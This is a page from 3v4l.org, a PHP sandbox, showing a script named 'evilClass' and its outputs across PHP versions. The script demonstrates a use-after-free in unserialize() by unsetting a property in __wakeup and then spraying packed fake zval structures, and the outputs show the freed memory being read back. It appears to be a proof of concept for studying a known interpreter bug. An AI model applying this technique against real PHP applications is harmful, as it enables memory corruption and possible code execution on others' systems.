3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php class evilClass { public $name; function __wakeup() { unset($this->name); } } $fakezval = pack( 'IIII', 0x00100000, 0x00000400, 0x00000000, 0x00000006 ); $data = unserialize('a:2:{i:0;O:9:"evilClass":1:{s:4:"name";a:2:{i:0;i:1;i:1;i:2;}}i:1;R:4;}'); for($i = 0; $i < 5; $i++) { $v[$i] = $fakezval.$i; } var_dump($data);
Output for 5.4.39 - 7.2.0
array(2) { [0]=> object(evilClass)#1 (0) { } [1]=> int(1) }
Output for 5.4.0 - 5.4.38
array(2) { [0]=> object(evilClass)#1 (0) { } [1]=> string(17) "3" }
Output for 5.3.0 - 5.3.29
array(2) { [0]=> object(evilClass)#1 (0) { } [1]=> string(17) "2" }
Output for 5.2.2 - 5.2.17
array(2) { [0]=> object(evilClass)#1 (0) { } [1]=> &int(4398047559680) }
Output for 5.0.0 - 5.2.1
array(2) { [0]=> object(evilClass)#1 (0) { } [1]=> string(17) "1" }
Output for 4.4.2 - 4.4.9
Parse error: syntax error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /in/4RU61 on line 4
Process exited with code 255.
Output for 4.3.0 - 4.3.1, 4.3.5 - 4.4.1
Parse error: parse error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /in/4RU61 on line 4
Process exited with code 255.
Output for 4.3.2 - 4.3.4
Parse error: parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or `'}'' in /in/4RU61 on line 4
Process exited with code 255.